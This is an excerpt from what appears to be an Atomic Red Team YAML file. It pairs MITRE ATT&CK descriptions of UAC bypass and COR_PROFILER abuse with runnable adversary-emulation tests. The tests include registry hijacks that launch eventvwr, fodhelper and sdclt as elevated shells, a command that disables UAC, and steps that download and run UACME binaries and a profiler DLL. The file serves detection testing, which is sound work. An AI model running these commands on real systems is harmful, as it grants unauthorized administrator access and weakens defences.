        Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

        If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

        Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

        * <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

        Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)
      id: attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073
      x_mitre_defense_bypassed:
      - Windows User Account Control
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - Administrator
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: |-
        There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.

        Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:

        * The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command</code> Registry key.(Citation: enigma0x3 Fileless UAC Bypass)

        * The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe</code> and <code>[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand</code> Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)

        Analysts should monitor these Registry settings for unauthorized changes.
      x_mitre_data_sources:
      - 'Process: Process Metadata'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      x_mitre_contributors:
      - Stefan Kanthak
      - Casey Smith
      x_mitre_platforms:
      - Windows
      identifier: T1548.002
    atomic_tests:
    - name: Bypass UAC using Event Viewer (cmd)
      auto_generated_guid: 5073adf8-9a50-4bd9-b298-a9bd2ead8af9
      description: |
        Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
        Upon execution command prompt should be launched with administrative privelages
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f
          cmd.exe /c eventvwr.msc
        cleanup_command: 'reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1

'
        name: command_prompt
    - name: Bypass UAC using Event Viewer (PowerShell)
      auto_generated_guid: a6ce9acf-842a-4af6-8f79-539be7608e2b
      description: |
        PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
        Upon execution command prompt should be launched with administrative privelages
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
          Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
          Start-Process "C:\Windows\System32\eventvwr.msc"
        cleanup_command: 'Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse
          -ErrorAction Ignore

'
        name: powershell
    - name: Bypass UAC using Fodhelper
      auto_generated_guid: 58f641ea-12e3-499a-b684-44dee46bd182
      description: |
        Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
        Upon execution, "The operation completed successfully." will be shown twice and command prompt will be opened.
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f
          reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute" /f
          fodhelper.exe
        cleanup_command: 'reg.exe delete hkcu\software\classes\ms-settings /f >nul
          2>&1

'
        name: command_prompt
    - name: Bypass UAC using Fodhelper - PowerShell
      auto_generated_guid: 3f627297-6c38-4e7d-a278-fc2563eaaeaa
      description: |
        PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
        Upon execution command prompt will be opened.
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
          New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
          Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
          Start-Process "C:\Windows\System32\fodhelper.exe"
        cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force
          -Recurse -ErrorAction Ignore

'
        name: powershell
    - name: Bypass UAC using ComputerDefaults (PowerShell)
      auto_generated_guid: 3c51abf2-44bf-42d8-9111-dc96ff66750f
      description: |
        PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10
        Upon execution administrative command prompt should open
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
          New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
          Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
          Start-Process "C:\Windows\System32\ComputerDefaults.exe"
        cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force
          -Recurse -ErrorAction Ignore

'
        name: powershell
        elevation_required: true
    - name: Bypass UAC by Mocking Trusted Directories
      auto_generated_guid: f7a35090-6f7f-4f64-bb47-d657bf5b10c1
      description: |
        Creates a fake "trusted directory" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems
        Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          mkdir "\\?\C:\Windows \System32\"
          copy "#{executable_binary}" "\\?\C:\Windows \System32\mmc.exe"
          mklink c:\testbypass.exe "\\?\C:\Windows \System32\mmc.exe"
        cleanup_command: |
          rd "\\?\C:\Windows \" /S /Q >nul 2>nul
          del "c:\testbypass.exe" >nul 2>nul
        name: command_prompt
        elevation_required: true
    - name: Bypass UAC using sdclt DelegateExecute
      auto_generated_guid: 3be891eb-4608-4173-87e8-78b494c029b7
      description: |
        Bypasses User Account Control using a fileless method, registry only.
        Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe
        [Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)
        Adapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)
      supported_platforms:
      - windows
      input_arguments:
        command.to.execute:
          description: Command to execute
          type: String
          default: cmd.exe /c notepad.exe
      executor:
        command: |
          New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#{command.to.execute}'
          New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute"
          Start-Process -FilePath $env:windir\system32\sdclt.exe
          Start-Sleep -s 3
        cleanup_command: 'Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse
          -Force -ErrorAction Ignore

'
        name: powershell
    - name: Disable UAC using reg.exe
      auto_generated_guid: 9e8af564-53ec-407e-aaa8-3cb20c3af7f9
      description: |
        Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key
        HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0
      supported_platforms:
      - windows
      executor:
        command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
          /v EnableLUA /t REG_DWORD /d 0 /f

'
        cleanup_command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
          /v EnableLUA /t REG_DWORD /d 1 /f

'
        name: command_prompt
        elevation_required: true
    - name: Bypass UAC using SilentCleanup task
      auto_generated_guid: 28104f8a-4ff1-4582-bcf6-699dce156608
      description: |
        Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/

        There is an auto-elevated task called SilentCleanup located in %windir%\system32\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level).

        For example, we can set the windir registry kye to: "cmd /k REM "

        And forcefully run SilentCleanup task:

        schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

        REM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs.
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: Path to the bat file
          type: String
          default: PathToAtomicsFolder\T1548.002\src\T1548.002.bat
      executor:
        command: "#{file_path}\n"
        name: command_prompt
        elevation_required: false
    - name: UACME Bypass Method 23
      auto_generated_guid: 8ceab7a2-563a-47d2-b5ba-0995211128d7
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Leo Davidson derivative\n\nType:\tDll Hijack\n\nMethod: IFileOperation\n\nTarget:\t\\system32\\pkgmgr.exe\n\nComponent:
        DismCore.dll\n\nImplementation:\tucmDismMethod\n\nUCM Method:\tUacMethodDISM\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\23 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 31
      auto_generated_guid: b0f76240-9f33-4d34-90e8-3a7d501beb15
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Enigma0x3\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\sdclt.exe\n\nComponent:
        Attacker defined\n\nImplementation:\tucmSdcltIsolatedCommandMethod\n\nUCM
        Method:\tUacMethodShellSdclt\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\31 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 33
      auto_generated_guid: e514bb03-f71c-4b22-9092-9f961ec6fb03
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        winscripting.blog\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\fodhelper.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodMsSettings2\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\33 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 34
      auto_generated_guid: 695b2dac-423e-448e-b6ef-5b88e93011d6
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        James Forshaw\n\nType:\tShell API\n\nMethod: Environment variables expansion\n\nTarget:\t\\system32\\svchost.exe
        via \\system32\\schtasks.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDiskCleanupEnvironmentVariable\n\nUCM
        Method:\tUacMethodDiskSilentCleanup\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\34 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 39
      auto_generated_guid: 56163687-081f-47da-bb9c-7b231c5585cf
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Stefan Kanthak\n\nType:\tDll Hijack\n\nMethod: .NET Code Profiler\n\nTarget:\t\\system32\\mmc.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmCorProfilerMethod\n\nUCM Method:\tUacMethodCorProfiler\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\39 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 56
      auto_generated_guid: 235ec031-cd2d-465d-a7ae-68bab281e80e
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Hashim Jawad\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\WSReset.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodShellWSReset\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\56 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 59
      auto_generated_guid: dfb1b667-4bb8-4a63-a85e-29936ea75f29
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        James Forshaw\n\nType:\tAppInfo ALPC\n\nMethod: RAiLaunchAdminProcess and
        DebugObject\n\nTarget:\tAttacker defined\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDebugObjectMethod\n\nUCM
        Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\59 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 61
      auto_generated_guid: 7825b576-744c-4555-856d-caf3460dc236
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Enigma0x3/bytecode77 derivative by Nassim Asrir\n\nType:\tShell API\n\nMethod:
        Registry key manipulation\n\nTarget:\t\\system32\\slui.exe, \\system32\\changepk.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\61 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
  T1574.012:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1574.012
        url: https://attack.mitre.org/techniques/T1574/012
      - source_name: Microsoft Profiling Mar 2017
        url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
        description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June
          24, 2020.
      - source_name: Microsoft COR_PROFILER Feb 2013
        url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)
        description: Microsoft. (2013, February 4). Registry-Free Profiler Startup
          and Attach. Retrieved June 24, 2020.
      - source_name: RedCanary Mockingbird May 2020
        url: https://redcanary.com/blog/blue-mockingbird-cryptominer/
        description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved
          May 26, 2020.
      - source_name: Red Canary COR_PROFILER May 2020
        url: https://redcanary.com/blog/cor_profiler-for-persistence/
        description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation
          for persistence. Retrieved June 24, 2020.
      - source_name: Almond COR_PROFILER Apr 2019
        url: https://offsec.almond.consulting/UAC-bypass-dotnet.html
        description: Almond. (2019, April 30). UAC bypass via elevated .NET applications.
          Retrieved June 24, 2020.
      - source_name: GitHub OmerYa Invisi-Shell
        url: https://github.com/OmerYa/Invisi-Shell
        description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24,
          2020.
      - source_name: subTee .NET Profilers May 2017
        url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html
        description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET
          Profilers. Retrieved June 24, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: COR_PROFILER
      description: |-
        Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)

        The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)

        Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)
      id: attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-06-26T16:09:58.920Z'
      created: '2020-06-24T22:30:55.843Z'
      x_mitre_detection: 'For detecting system and user scope abuse of the COR_PROFILER,
        monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and
        COR_PROFILER_PATH that correspond to system and user environment variables
        that do not correlate to known developer tools. Extra scrutiny should be placed
        on suspicious modification of these Registry keys by command line tools like
        wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring
        for command-line arguments indicating a change to COR_PROFILER variables may
        aid in detection. For system, user, and process scope abuse of the COR_PROFILER,
        monitor for new suspicious unmanaged profiling DLLs loading into .NET processes
        shortly after the CLR causing abnormal process behavior.(Citation: Red Canary
        COR_PROFILER May 2020) Consider monitoring for DLL files that are associated
        with COR_PROFILER environment variables.'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_contributors:
      - Jesse Brown, Red Canary
      x_mitre_platforms:
      - Windows
      identifier: T1574.012
    atomic_tests:
    - name: User scope COR_PROFILER
      auto_generated_guid: 9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a
      description: |
        Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).
        The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.
        Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.
        If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,
        the notepad process will not execute with high integrity.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unmanaged profiler DLL
          type: Path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: String
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: "#{file_name} must be present\n"
        prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          Write-Host "Creating registry keys in HKCU:Software\Classes\CLSID\#{clsid_guid}" -ForegroundColor Cyan
          New-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}\InprocServer32" -Value #{file_name} -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType String -Value #{file_name} -Force | Out-Null
